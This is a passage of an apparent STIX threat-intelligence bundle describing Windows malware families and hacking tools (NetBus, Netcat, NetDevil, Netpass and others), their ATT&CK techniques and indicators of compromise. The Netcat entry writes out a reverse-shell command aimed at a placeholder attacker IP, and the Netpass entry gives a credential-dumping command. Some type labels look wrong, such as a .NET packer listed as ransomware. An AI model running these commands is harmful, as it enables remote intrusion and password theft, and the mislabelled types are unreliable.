      "description": "NetBus is one of the earliest, most legendary, and influential Remote Access Trojans in personal computing history, originally created in March 1998 by Swedish computer programmer Carl-Fredrik Neikter. Written in Borland Delphi to run on Microsoft Windows 95, 98, and Windows NT, NetBus was initially marketed by its author as a harmless remote administration tool and prank utility. However, alongside the contemporaneous Back Orifice released by the Cult of the Dead Cow (cDc), NetBus ignited the modern era of remote administrative backdoors and network-borne malware exploitation.\n\nNetBus operated using an unauthenticated or password-protected client-server architecture: the server executable ('patch.exe') listened on TCP port 12345 (with port 12346 used for keylogger streaming). Once connected, the graphical client console gave attackers total control: opening and closing CD-ROM trays, swapping mouse buttons, taking screenshots, capturing real-time keystrokes, displaying popup messages, recording microphone audio, and executing arbitrary system commands. NetBus also played a landmark role in cyber law: in a famous 1999 Swedish criminal trial, a university professor was acquitted of possessing illegal material after forensic analysis demonstrated an unknown attacker had compromised his computer via NetBus and planted the files.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "NetBus",
        "Netbus Pro",
        "Patch.Netbus",
        "Backdoor.Netbus",
        "Trojan.NetBus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netbus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netbus"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f763bac-e162-5d8f-a0ad-870dbec0e530",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96a917c4-dbaf-57dd-87ac-0f187ebde19e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netbus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4c531c2-2ce8-5f78-97a0-63ea71260892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96a917c4-dbaf-57dd-87ac-0f187ebde19e",
      "target_ref": "attack-pattern--136dd6f0-4410-5c2c-9d1f-4a84f0942b5a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netbus exhibits technique T1053 (Technique)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10fb5015-c1fe-5b59-95e8-0e9cc614afb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netcat",
      "description": "HackTool:Win32/Netcat (often abbreviated as `nc` or `ncat`) is a classic example of a **'Dual-Use' or 'Living off the Land' (LotL)** utility. Netcat is a command-line tool utilized for reading and writing data across network connections using TCP or UDP. While legitimately used by network administrators for port scanning, banner grabbing, and network debugging, it is almost universally flagged by AV engines as a HackTool or Riskware because advanced threat actors heavily rely on it to establish covert command-and-control channels and reverse shells.<br><br><b>Understanding the Netcat Threat</b><br>To an IT administrator, Netcat is a 'Swiss Army Knife' for networking. To a SOC analyst, the unauthorized presence of Netcat (often renamed to evade simple checks, e.g., `svchost.exe` but with the Netcat hash) is a massive red flag indicating a severe perimeter breach. Attackers use it because it is small, reliable, and doesn't require complex malware to achieve interactive access to a compromised host.<br><br><b>Execution and Reverse Shell Mechanics</b><br>Attackers typically drop Netcat onto a system *after* gaining initial access via an exploit or stolen credentials (`T1105`). The most dangerous use of Netcat is the creation of a 'Reverse Shell' (`T1059.003`). The attacker runs a listener on their C2 server. On the victim machine, they execute Netcat with the `-e` (execute) flag (e.g., `nc -e cmd.exe [Attacker_IP] [Port]`). This binds the Windows command prompt (`cmd.exe`) to the network connection and sends it back to the attacker (`T1071.001`), granting them a fully interactive, remote command line session to execute further commands, escalate privileges, and pivot through the network.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is complete, interactive remote control of the compromised endpoint. Host-based IoCs include EDR alerts for `cmd.exe` or `powershell.exe` being spawned as a child process of an unknown executable, or `cmd.exe` establishing an outbound network connection. Network IoCs include anomalous outbound TCP/UDP connections on non-standard ports (like 4444, 8080) going to unknown external IP addresses, often characterized by long-lived, low-bandwidth sessions indicative of an interactive shell. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netcat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netcat"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88e10e47-2a61-5384-bb46-7c5a34ce02ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10fb5015-c1fe-5b59-95e8-0e9cc614afb6",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netcat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Binding cmd.exe to a socket))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20f4abfa-a98b-50aa-b1e0-463c2f7bba96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10fb5015-c1fe-5b59-95e8-0e9cc614afb6",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netcat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Establishing reverse shells))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0a2f451-fec1-54f0-adac-dcedb58968fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10fb5015-c1fe-5b59-95e8-0e9cc614afb6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netcat exhibits technique T1105 (Ingress Tool Transfer (Dropping Netcat post-compromise))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2bf257f-a84e-5268-be93-cbf19afc6b1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10fb5015-c1fe-5b59-95e8-0e9cc614afb6",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netcat exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e927b569-1327-5d2e-8767-3351bc00eb07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netdevil",
      "description": "<h3>Executive Summary</h3>\nNetDevil is a legacy, yet highly capable, Remote Access Trojan (RAT) that gained prominence in the early to mid-2000s. Engineered to provide attackers with covert, persistent, and fully interactive control over compromised Windows endpoints, NetDevil functions much like legitimate remote administration tools (e.g., TeamViewer, VNC), but is deployed silently and without user consent, laying the groundwork for many modern espionage tools.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNetDevil is primarily distributed via targeted spear-phishing campaigns utilizing weaponized attachments, malicious spam (malspam), or silently dropped by exploit kits executing on compromised websites.\n\nOnce executed, NetDevil focuses on establishing a deep, persistent foothold:\n<ul>\n<li><strong>Covert C2 Communication:</strong> The RAT establishes a persistent connection to its command-and-control (C2) server. It typically operates on specific TCP ports and utilizes custom encryption to hide its command traffic from basic packet inspection.</li>\n<li><strong>Comprehensive Espionage:</strong> NetDevil provides the attacker with a vast array of surveillance capabilities. This includes full file system manipulation, real-time keylogging, remote registry editing, password extraction (from browsers and IM clients), desktop screen capturing, and the ability to silently activate connected webcams or microphones.</li>\n<li><strong>System Sabotage and Defense Evasion:</strong> The RAT contains specific routines to hunt for and forcefully terminate known antivirus and personal firewall processes, ensuring its continued operation. It also allows the attacker to execute arbitrary shell commands, lock the keyboard/mouse, or reboot the infected machine.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA NetDevil infection is a critical security incident. The malware's extensive capabilities mean that the compromised endpoint is fully under the control of the attacker, leading to the immediate loss of intellectual property, compromised user credentials, and the high likelihood of lateral movement across the enterprise network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately to halt the C2 communication and prevent active data exfiltration.</li>\n<li><strong>Forensic Analysis:</strong> Because advanced RATs often modify core system files, perform memory forensics and disk analysis to identify the specific C2 configuration for enterprise-wide IOC blocking.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.NetDevil",
        "Trojan.NetDevil",
        "Win32/NetDevil"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netdevil",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netdevil"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--729ae887-f18d-5c15-9ba0-6bc42be5e1df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e927b569-1327-5d2e-8767-3351bc00eb07",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netdevil exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a3d0e18-2826-51d3-ba1a-9f858a5775ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e927b569-1327-5d2e-8767-3351bc00eb07",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netdevil exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ddc7140-6a20-5c59-8f6e-fc791be73ef0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e927b569-1327-5d2e-8767-3351bc00eb07",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netdevil exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9aaba4e2-625c-5c4b-90a0-1a9a37dcea1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e927b569-1327-5d2e-8767-3351bc00eb07",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netdevil exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--827cccfa-bdab-54d6-ba00-5bfa76c858f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netinject",
      "description": "Trojan:Win32/Netinject is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Netinject</b><br>To an end-user, a Netinject infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Netinject is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Netinject is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Netinject frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Netinject reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netinject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netinject"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5e663b4-c0bb-5dfc-b3c9-daf1d7699e23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--827cccfa-bdab-54d6-ba00-5bfa76c858f0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netinject exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45744c27-d154-5cc3-9f60-1641fb3f24ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--827cccfa-bdab-54d6-ba00-5bfa76c858f0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netinject exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--917609df-563c-58ec-9f6a-f4d8705c290c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--827cccfa-bdab-54d6-ba00-5bfa76c858f0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netinject exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c331bb9-1866-5966-a8b0-8de72b906faf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--827cccfa-bdab-54d6-ba00-5bfa76c858f0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netinject exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b1ba3f5-fabf-5873-b567-ece71306de57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--827cccfa-bdab-54d6-ba00-5bfa76c858f0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netinject exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d83ce1eb-99df-52e6-a2f5-070fbc169914",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netpass",
      "description": "HackTool:Win32/Netpass is a heuristic detection applied to the legitimate NirSoft utility 'Network Password Recovery' (`netpass.exe`), as well as modified variants of it. This tool is designed to recover all network passwords stored on the local system by the current logged-on user (including saved Wi-Fi keys, RDP credentials, and Outlook Exchange passwords). While it has legitimate administrative uses, threat actors and malware heavily abuse it during the post-exploitation phase to quickly harvest local credentials for lateral movement.<br><br><b>Understanding Netpass Abuse</b><br>To a standard user, Netpass is invisible; it is a command-line utility. For a security analyst, the execution of `netpass.exe` (or a renamed variant) by a standard user account is a massive red flag. It indicates that an attacker has gained a foothold on the endpoint and is actively dumping the Windows Credential Manager to find passwords that will allow them to pivot to other machines or servers on the domain.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Netpass is typically dropped onto the system by an Initial Access Broker trojan or manually copied by an attacker after establishing a reverse shell (`T1105`). The attacker executes the tool (`T1204.002`), often using command-line arguments to silently output the results to a text file (e.g., `netpass.exe /scomma %temp%\\creds.csv`) (`T1059.004`). The tool queries the Windows Data Protection API (DPAPI) and the Credential Manager (`T1003`) to extract plaintext passwords that the user has opted to 'Save' or 'Remember'. The attacker then exfiltrates the resulting text file via their C2 channel.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of all saved network credentials for that user profile, significantly accelerating lateral movement within the enterprise. The primary IoC is an EDR alert for the execution of a file matching the hash or metadata of the NirSoft Netpass utility, especially if executed from a temporary directory (`%Temp%` or `C:\\PerfLogs`). Analysts should look for command-line arguments involving silent execution (`/scomma`, `/stext`) targeting text files. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netpass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netpass"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa480313-f565-51f5-bb1d-9a5a0408cf1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d83ce1eb-99df-52e6-a2f5-070fbc169914",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netpass exhibits technique T1003 (OS Credential Dumping (Querying Windows Credential Manager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaf286a3-ba13-5083-b998-bbfbea5edb60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d83ce1eb-99df-52e6-a2f5-070fbc169914",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netpass exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d25616ae-7d26-5c2f-b032-165ccfe00ee4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d83ce1eb-99df-52e6-a2f5-070fbc169914",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netpass exhibits technique T1059.004 (Command and Scripting Interpreter (Command-line execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3b2f8ee-d243-5d92-ae79-0a4d5b88d27a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d83ce1eb-99df-52e6-a2f5-070fbc169914",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netpass exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6fbeb77d-319e-50f5-b88a-91828aa750f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netshadow",
      "description": "<h3>Executive Summary</h3>\nNetShadow is a specialized Trojan and Info-stealer designed to covertly infiltrate Windows systems and harvest highly sensitive data, particularly focusing on capturing user keystrokes. Unlike generic droppers, NetShadow's primary objective is immediate espionage: it actively records keystrokes, captures screenshots, and exfiltrates user credentials and financial information to a remote command-and-control (C2) server controlled by the attackers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNetShadow is typically distributed via highly targeted spear-phishing campaigns containing weaponized attachments (e.g., deceptive PDF files or Office documents with malicious macros) or delivered as a secondary payload by an initial access broker.\n\nOnce executed, the malware focuses entirely on data aggregation:\n<ul>\n<li><strong>Advanced Keylogging:</strong> NetShadow implements a sophisticated user-mode (and sometimes kernel-mode) keylogger. It hooks into the Windows API (e.g., `SetWindowsHookEx`) to intercept every keystroke before it reaches the intended application. This allows it to capture passwords entered into secure web portals, email clients, and VPN login screens.</li>\n<li><strong>Screen Capture and Clipboard Monitoring:</strong> To supplement the keylogging data, the trojan periodically captures screenshots of the victim's desktop and continuously monitors the Windows clipboard, instantly stealing copied passwords or cryptocurrency wallet addresses.</li>\n<li><strong>Data Exfiltration:</strong> The stolen data is aggregated into hidden, encrypted log files on the local disk. It is then periodically transmitted back to the C2 server over standard web ports (HTTPS) or via SMTP (email) to evade deep packet inspection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA NetShadow infection is a critical security breach resulting in immediate and ongoing data loss. The exfiltrated credentials can be used to compromise the user's personal accounts, pivot laterally across the corporate network, or access sensitive cloud infrastructure without triggering brute-force alerts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately to halt any active or pending data exfiltration.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials typed on the infected machine since the time of infection are fully compromised. Initiate an immediate, organization-wide password reset for the affected user, and invalidate all active session tokens.</li>\n<li><strong>Forensic Analysis:</strong> Conduct a forensic review of the endpoint to determine the initial vector of compromise and to ensure NetShadow did not deploy secondary backdoors prior to detection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.NetShadow",
        "Keylogger.NetShadow",
        "Spyware.NetShadow"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netshadow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netshadow"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f877264-579f-5b29-ab1e-caf94bec6ba6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fbeb77d-319e-50f5-b88a-91828aa750f9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshadow exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b77e1efa-550c-502d-aab6-4439b823734b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fbeb77d-319e-50f5-b88a-91828aa750f9",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshadow exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7e0c42c-bf4b-5827-b887-ca84418bb30d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fbeb77d-319e-50f5-b88a-91828aa750f9",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshadow exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9451a413-3c40-5db8-8a25-0b0771f66465",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fbeb77d-319e-50f5-b88a-91828aa750f9",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshadow exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1894bf4d-b5f7-5a57-9e4e-3bd44df09170",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netshrink",
      "description": "HackTool:Win32/Netshrink is a detection for an executable compressor (packer) designed specifically for .NET applications. While technically a legitimate tool for software developers looking to reduce file sizes or obfuscate code against reverse engineering, NetShrink is frequently flagged as a HackTool or 'Suspicious' because malware authors heavily abuse it to compress and obfuscate malicious payloads (`T1027.002`), bypassing static antivirus signatures.<br><br><b>Understanding Netshrink (Software Packing)</b><br>To an end-user, an alert for Netshrink usually means their AV has blocked a downloaded file before it could execute. For a security analyst, this detection indicates that an executable is heavily obfuscated. The AV engine is likely flagging the *packer itself* rather than the specific payload inside, meaning the true intent of the file (adware, ransomware, or a benign application) remains unknown until the file is unpacked.<br><br><b>Execution and Evasion Mechanics</b><br>Malware authors compile their malicious .NET payload and then run it through Netshrink. Netshrink compresses the IL (Intermediate Language) code, encrypts resources, and attaches a stub executable. When the victim runs the file (`T1204.002`), the Netshrink stub executes first, decrypts and decompresses the actual malicious payload into memory, and then executes it directly from RAM without dropping the unencrypted malware to the hard drive (`T1055`). This defeats traditional file-based AV scanning.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload. Host-based IoCs consist of the quarantined file containing the specific Netshrink section headers and byte signatures. EDR solutions may detect anomalous memory allocations and cross-process injection (Process Hollowing) as the Netshrink stub unpacks the payload. Network IoCs will only become visible after the file is unpacked and the true malware begins execution. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Netshrink",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/netshrink"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66e55b78-e9bc-5efa-9da2-bdf45b619ce1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1894bf4d-b5f7-5a57-9e4e-3bd44df09170",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Netshrink exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
